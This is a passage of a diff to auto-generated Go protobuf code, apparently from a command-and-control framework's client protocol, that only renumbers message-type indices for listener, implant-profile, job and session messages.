file_clientpb_client_proto_rawDescGZIP(), []int{21} + return file_clientpb_client_proto_rawDescGZIP(), []int{28} } func (x *Canaries) GetCanaries() []*DNSCanary { @@ -3224,7 +3746,7 @@ type UniqueWGIP struct { func (x *UniqueWGIP) Reset() { *x = UniqueWGIP{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[22] + mi := &file_clientpb_client_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3237,7 +3759,7 @@ func (x *UniqueWGIP) String() string { func (*UniqueWGIP) ProtoMessage() {} func (x *UniqueWGIP) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[22] + mi := &file_clientpb_client_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3250,7 +3772,7 @@ func (x *UniqueWGIP) ProtoReflect() protoreflect.Message { // Deprecated: Use UniqueWGIP.ProtoReflect.Descriptor instead. func (*UniqueWGIP) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{22} + return file_clientpb_client_proto_rawDescGZIP(), []int{29} } func (x *UniqueWGIP) GetIP() string { @@ -3272,7 +3794,7 @@ type ImplantProfile struct { func (x *ImplantProfile) Reset() { *x = ImplantProfile{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[23] + mi := &file_clientpb_client_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3285,7 +3807,7 @@ func (x *ImplantProfile) String() string { func (*ImplantProfile) ProtoMessage() {} func (x *ImplantProfile) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[23] + mi := &file_clientpb_client_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3298,7 +3820,7 @@ func (x *ImplantProfile) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantProfile.ProtoReflect.Descriptor instead. func (*ImplantProfile) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{23} + return file_clientpb_client_proto_rawDescGZIP(), []int{30} } func (x *ImplantProfile) GetName() string { @@ -3326,7 +3848,7 @@ type ImplantProfiles struct { func (x *ImplantProfiles) Reset() { *x = ImplantProfiles{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[24] + mi := &file_clientpb_client_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3339,7 +3861,7 @@ func (x *ImplantProfiles) String() string { func (*ImplantProfiles) ProtoMessage() {} func (x *ImplantProfiles) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[24] + mi := &file_clientpb_client_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3352,7 +3874,7 @@ func (x *ImplantProfiles) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantProfiles.ProtoReflect.Descriptor instead. func (*ImplantProfiles) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{24} + return file_clientpb_client_proto_rawDescGZIP(), []int{31} } func (x *ImplantProfiles) GetProfiles() []*ImplantProfile { @@ -3373,7 +3895,7 @@ type RegenerateReq struct { func (x *RegenerateReq) Reset() { *x = RegenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[25] + mi := &file_clientpb_client_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3386,7 +3908,7 @@ func (x *RegenerateReq) String() string { func (*RegenerateReq) ProtoMessage() {} func (x *RegenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[25] + mi := &file_clientpb_client_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3399,7 +3921,7 @@ func (x *RegenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RegenerateReq.ProtoReflect.Descriptor instead. func (*RegenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{25} + return file_clientpb_client_proto_rawDescGZIP(), []int{32} } func (x *RegenerateReq) GetImplantName() string { @@ -3426,7 +3948,7 @@ type Job struct { func (x *Job) Reset() { *x = Job{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[26] + mi := &file_clientpb_client_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3439,7 +3961,7 @@ func (x *Job) String() string { func (*Job) ProtoMessage() {} func (x *Job) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[26] + mi := &file_clientpb_client_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3452,7 +3974,7 @@ func (x *Job) ProtoReflect() protoreflect.Message { // Deprecated: Use Job.ProtoReflect.Descriptor instead. func (*Job) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{26} + return file_clientpb_client_proto_rawDescGZIP(), []int{33} } func (x *Job) GetID() uint32 { @@ -3515,7 +4037,7 @@ type Jobs struct { func (x *Jobs) Reset() { *x = Jobs{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[27] + mi := &file_clientpb_client_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3528,7 +4050,7 @@ func (x *Jobs) String() string { func (*Jobs) ProtoMessage() {} func (x *Jobs) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[27] + mi := &file_clientpb_client_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3541,7 +4063,7 @@ func (x *Jobs) ProtoReflect() protoreflect.Message { // Deprecated: Use Jobs.ProtoReflect.Descriptor instead. func (*Jobs) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{27} + return file_clientpb_client_proto_rawDescGZIP(), []int{34} } func (x *Jobs) GetActive() []*Job { @@ -3562,7 +4084,7 @@ type KillJobReq struct { func (x *KillJobReq) Reset() { *x = KillJobReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[28] + mi := &file_clientpb_client_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3575,7 +4097,7 @@ func (x *KillJobReq) String() string { func (*KillJobReq) ProtoMessage() {} func (x *KillJobReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[28] + mi := &file_clientpb_client_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3588,7 +4110,7 @@ func (x *KillJobReq) ProtoReflect() protoreflect.Message { // Deprecated: Use KillJobReq.ProtoReflect.Descriptor instead. func (*KillJobReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{28} + return file_clientpb_client_proto_rawDescGZIP(), []int{35} } func (x *KillJobReq) GetID() uint32 { @@ -3610,7 +4132,7 @@ type KillJob struct { func (x *KillJob) Reset() { *x = KillJob{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[29] + mi := &file_clientpb_client_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3623,7 +4145,7 @@ func (x *KillJob) String() string { func (*KillJob) ProtoMessage() {} func (x *KillJob) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[29] + mi := &file_clientpb_client_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3636,7 +4158,7 @@ func (x *KillJob) ProtoReflect() protoreflect.Message { // Deprecated: Use KillJob.ProtoReflect.Descriptor instead. func (*KillJob) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{29} + return file_clientpb_client_proto_rawDescGZIP(), []int{36} } func (x *KillJob) GetID() uint32 { @@ -3666,7 +4188,7 @@ type MTLSListenerReq struct { func (x *MTLSListenerReq) Reset() { *x = MTLSListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[30] + mi := &file_clientpb_client_proto_msgTypes[37] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3679,7 +4201,7 @@ func (x *MTLSListenerReq) String() string { func (*MTLSListenerReq) ProtoMessage() {} func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[30] + mi := &file_clientpb_client_proto_msgTypes[37] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3692,7 +4214,7 @@ func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MTLSListenerReq.ProtoReflect.Descriptor instead. func (*MTLSListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{30} + return file_clientpb_client_proto_rawDescGZIP(), []int{37} } func (x *MTLSListenerReq) GetHost() string { @@ -3727,7 +4249,7 @@ type MTLSListener struct { func (x *MTLSListener) Reset() { *x = MTLSListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[31] + mi := &file_clientpb_client_proto_msgTypes[38] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3740,7 +4262,7 @@ func (x *MTLSListener) String() string { func (*MTLSListener) ProtoMessage() {} func (x *MTLSListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[31] + mi := &file_clientpb_client_proto_msgTypes[38] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3753,7 +4275,7 @@ func (x *MTLSListener) ProtoReflect() protoreflect.Message { // Deprecated: Use MTLSListener.ProtoReflect.Descriptor instead. func (*MTLSListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{31} + return file_clientpb_client_proto_rawDescGZIP(), []int{38} } func (x *MTLSListener) GetJobID() uint32 { @@ -3779,7 +4301,7 @@ type WGListenerReq struct { func (x *WGListenerReq) Reset() { *x = WGListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[32] + mi := &file_clientpb_client_proto_msgTypes[39] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3792,7 +4314,7 @@ func (x *WGListenerReq) String() string { func (*WGListenerReq) ProtoMessage() {} func (x *WGListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[32] + mi := &file_clientpb_client_proto_msgTypes[39] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3805,7 +4327,7 @@ func (x *WGListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use WGListenerReq.ProtoReflect.Descriptor instead. func (*WGListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{32} + return file_clientpb_client_proto_rawDescGZIP(), []int{39} } func (x *WGListenerReq) GetHost() string { @@ -3861,7 +4383,7 @@ type WGListener struct { func (x *WGListener) Reset() { *x = WGListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[33] + mi := &file_clientpb_client_proto_msgTypes[40] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3874,7 +4396,7 @@ func (x *WGListener) String() string { func (*WGListener) ProtoMessage() {} func (x *WGListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[33] + mi := &file_clientpb_client_proto_msgTypes[40] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3887,7 +4409,7 @@ func (x *WGListener) ProtoReflect() protoreflect.Message { // Deprecated: Use WGListener.ProtoReflect.Descriptor instead. func (*WGListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{33} + return file_clientpb_client_proto_rawDescGZIP(), []int{40} } func (x *WGListener) GetJobID() uint32 { @@ -3913,7 +4435,7 @@ type DNSListenerReq struct { func (x *DNSListenerReq) Reset() { *x = DNSListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[34] + mi := &file_clientpb_client_proto_msgTypes[41] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3926,7 +4448,7 @@ func (x *DNSListenerReq) String() string { func (*DNSListenerReq) ProtoMessage() {} func (x *DNSListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[34] + mi := &file_clientpb_client_proto_msgTypes[41] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3939,7 +4461,7 @@ func (x *DNSListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSListenerReq.ProtoReflect.Descriptor instead. func (*DNSListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{34} + return file_clientpb_client_proto_rawDescGZIP(), []int{41} } func (x *DNSListenerReq) GetDomains() []string { @@ -3995,7 +4517,7 @@ type DNSListener struct { func (x *DNSListener) Reset() { *x = DNSListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[35] + mi := &file_clientpb_client_proto_msgTypes[42] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4008,7 +4530,7 @@ func (x *DNSListener) String() string { func (*DNSListener) ProtoMessage() {} func (x *DNSListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[35] + mi := &file_clientpb_client_proto_msgTypes[42] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4021,7 +4543,7 @@ func (x *DNSListener) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSListener.ProtoReflect.Descriptor instead. func (*DNSListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{35} + return file_clientpb_client_proto_rawDescGZIP(), []int{42} } func (x *DNSListener) GetJobID() uint32 { @@ -4054,7 +4576,7 @@ type HTTPListenerReq struct { func (x *HTTPListenerReq) Reset() { *x = HTTPListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[36] + mi := &file_clientpb_client_proto_msgTypes[43] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4067,7 +4589,7 @@ func (x *HTTPListenerReq) String() string { func (*HTTPListenerReq) ProtoMessage() {} func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[36] + mi := &file_clientpb_client_proto_msgTypes[43] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4080,7 +4602,7 @@ func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPListenerReq.ProtoReflect.Descriptor instead. func (*HTTPListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{36} + return file_clientpb_client_proto_rawDescGZIP(), []int{43} } func (x *HTTPListenerReq) GetDomain() string { @@ -4187,7 +4709,7 @@ type NamedPipesReq struct { func (x *NamedPipesReq) Reset() { *x = NamedPipesReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[37] + mi := &file_clientpb_client_proto_msgTypes[44] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4200,7 +4722,7 @@ func (x *NamedPipesReq) String() string { func (*NamedPipesReq) ProtoMessage() {} func (x *NamedPipesReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[37] + mi := &file_clientpb_client_proto_msgTypes[44] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4213,7 +4735,7 @@ func (x *NamedPipesReq) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedPipesReq.ProtoReflect.Descriptor instead. func (*NamedPipesReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{37} + return file_clientpb_client_proto_rawDescGZIP(), []int{44} } func (x *NamedPipesReq) GetPipeName() string { @@ -4243,7 +4765,7 @@ type NamedPipes struct { func (x *NamedPipes) Reset() { *x = NamedPipes{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[38] + mi := &file_clientpb_client_proto_msgTypes[45] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4256,7 +4778,7 @@ func (x *NamedPipes) String() string { func (*NamedPipes) ProtoMessage() {} func (x *NamedPipes) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[38] + mi := &file_clientpb_client_proto_msgTypes[45] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4269,7 +4791,7 @@ func (x *NamedPipes) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedPipes.ProtoReflect.Descriptor instead. func (*NamedPipes) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{38} + return file_clientpb_client_proto_rawDescGZIP(), []int{45} } func (x *NamedPipes) GetSuccess() bool { @@ -4306,7 +4828,7 @@ type TCPPivotReq struct { func (x *TCPPivotReq) Reset() { *x = TCPPivotReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[39] + mi := &file_clientpb_client_proto_msgTypes[46] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4319,7 +4841,7 @@ func (x *TCPPivotReq) String() string { func (*TCPPivotReq) ProtoMessage() {} func (x *TCPPivotReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[39] + mi := &file_clientpb_client_proto_msgTypes[46] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4332,7 +4854,7 @@ func (x *TCPPivotReq) ProtoReflect() protoreflect.Message { // Deprecated: Use TCPPivotReq.ProtoReflect.Descriptor instead. func (*TCPPivotReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{39} + return file_clientpb_client_proto_rawDescGZIP(), []int{46} } func (x *TCPPivotReq) GetAddress() string { @@ -4362,7 +4884,7 @@ type TCPPivot struct { func (x *TCPPivot) Reset() { *x = TCPPivot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[40] + mi := &file_clientpb_client_proto_msgTypes[47] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4375,7 +4897,7 @@ func (x *TCPPivot) String() string { func (*TCPPivot) ProtoMessage() {} func (x *TCPPivot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[40] + mi := &file_clientpb_client_proto_msgTypes[47] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4388,7 +4910,7 @@ func (x *TCPPivot) ProtoReflect() protoreflect.Message { // Deprecated: Use TCPPivot.ProtoReflect.Descriptor instead. func (*TCPPivot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{40} + return file_clientpb_client_proto_rawDescGZIP(), []int{47} } func (x *TCPPivot) GetSuccess() bool { @@ -4423,7 +4945,7 @@ type HTTPListener struct { func (x *HTTPListener) Reset() { *x = HTTPListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[41] + mi := &file_clientpb_client_proto_msgTypes[48] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4436,7 +4958,7 @@ func (x *HTTPListener) String() string { func (*HTTPListener) ProtoMessage() {} func (x *HTTPListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[41] + mi := &file_clientpb_client_proto_msgTypes[48] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4449,7 +4971,7 @@ func (x *HTTPListener) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPListener.ProtoReflect.Descriptor instead. func (*HTTPListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{41} + return file_clientpb_client_proto_rawDescGZIP(), []int{48} } func (x *HTTPListener) GetJobID() uint32 { @@ -4470,7 +4992,7 @@ type Sessions struct { func (x *Sessions) Reset() { *x = Sessions{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[42] + mi := &file_clientpb_client_proto_msgTypes[49] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4483,7 +5005,7 @@ func (x *Sessions) String() string { func (*Sessions) ProtoMessage() {} func (x *Sessions) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[42] + mi := &file_clientpb_client_proto_msgTypes[49] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4496,7 +5018,7 @@ func (x *Sessions) ProtoReflect() protoreflect.Message { // Deprecated: Use Sessions.ProtoReflect.Descriptor instead. func (*Sessions) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{42} + return file_clientpb_client_proto_rawDescGZIP(), []int{49} } func (x *Sessions) GetSessions() []*Session { @@ -4519,7 +5041,7 @@ type RenameReq struct { func (x *RenameReq) Reset() { *x = RenameReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[43] + mi := &file_clientpb_client_proto_msgTypes[50] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4532,7 +5054,7 @@ func (x *RenameReq) String() string { func (*RenameReq) ProtoMessage() {} func (x *RenameReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[43] + mi := &file_clientpb_client_proto_msgTypes[50] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4545,7 +5067,7 @@ func (x *RenameReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RenameReq.ProtoReflect.Descriptor instead. func (*RenameReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{43} + return file_clientpb_client_proto_rawDescGZIP(), []int{50} } func (x *RenameReq) GetSessionID() string { @@ -4580,7 +5102,7 @@ type GenerateReq struct { func (x *GenerateReq) Reset() { *x = GenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[44] + mi := &file_clientpb_client_proto_msgTypes[51] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4593,7 +5115,7 @@ func (x *GenerateReq) String() string { func (*GenerateReq) ProtoMessage() {} func (x *GenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[44] + mi := &file_clientpb_client_proto_msgTypes[51] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4606,7 +5128,7 @@ func (x *GenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GenerateReq.ProtoReflect.Descriptor instead. func (*GenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{44} + return file_clientpb_client_proto_rawDescGZIP(), []int{51} } func (x *GenerateReq) GetConfig() *ImplantConfig { @@ -4627,7 +5149,7 @@ type Generate struct { func (x *Generate) Reset() { *x = Generate{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[45] + mi := &file_clientpb_client_proto_msgTypes[52] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4640,7 +5162,7 @@ func (x *Generate) String() string { func (*Generate) ProtoMessage() {} func (x *Generate) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[45] + mi := &file_clientpb_client_proto_msgTypes[52] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4653,7 +5175,7 @@ func (x *Generate) ProtoReflect() protoreflect.Message { // Deprecated: Use Generate.ProtoReflect.Descriptor instead. func (*Generate) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{45} + return file_clientpb_client_proto_rawDescGZIP(), []int{52} } func (x *Generate) GetFile() *commonpb.File { @@ -4679,7 +5201,7 @@ type MSFReq struct { func (x *MSFReq) Reset() { *x = MSFReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[46] + mi := &file_clientpb_client_proto_msgTypes[53] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4692,7 +5214,7 @@ func (x *MSFReq) String() string { func (*MSFReq) ProtoMessage() {} func (x *MSFReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[46] + mi := &file_clientpb_client_proto_msgTypes[53] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4705,7 +5227,7 @@ func (x *MSFReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MSFReq.ProtoReflect.Descriptor instead. func (*MSFReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{46} + return file_clientpb_client_proto_rawDescGZIP(), []int{53} } func (x *MSFReq) GetPayload() string { @@ -4767,7 +5289,7 @@ type MSFRemoteReq struct { func (x *MSFRemoteReq) Reset() { *x = MSFRemoteReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[47] + mi := &file_clientpb_client_proto_msgTypes[54] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4780,7 +5302,7 @@ func (x *MSFRemoteReq) String() string { func (*MSFRemoteReq) ProtoMessage() {} func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[47] + mi := &file_clientpb_client_proto_msgTypes[54] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4793,7 +5315,7 @@ func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MSFRemoteReq.ProtoReflect.Descriptor instead. func (*MSFRemoteReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{47} + return file_clientpb_client_proto_rawDescGZIP(), []int{54} } func (x *MSFRemoteReq) GetPayload() string { @@ -4863,7 +5385,7 @@ type StagerListenerReq struct { func (x *StagerListenerReq) Reset() { *x = StagerListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[48] + mi := &file_clientpb_client_proto_msgTypes[55] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4876,7 +5398,7 @@ func (x *StagerListenerReq) String() string { func (*StagerListenerReq) ProtoMessage() {} func (x *StagerListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[48] + mi := &file_clientpb_client_proto_msgTypes[55] if 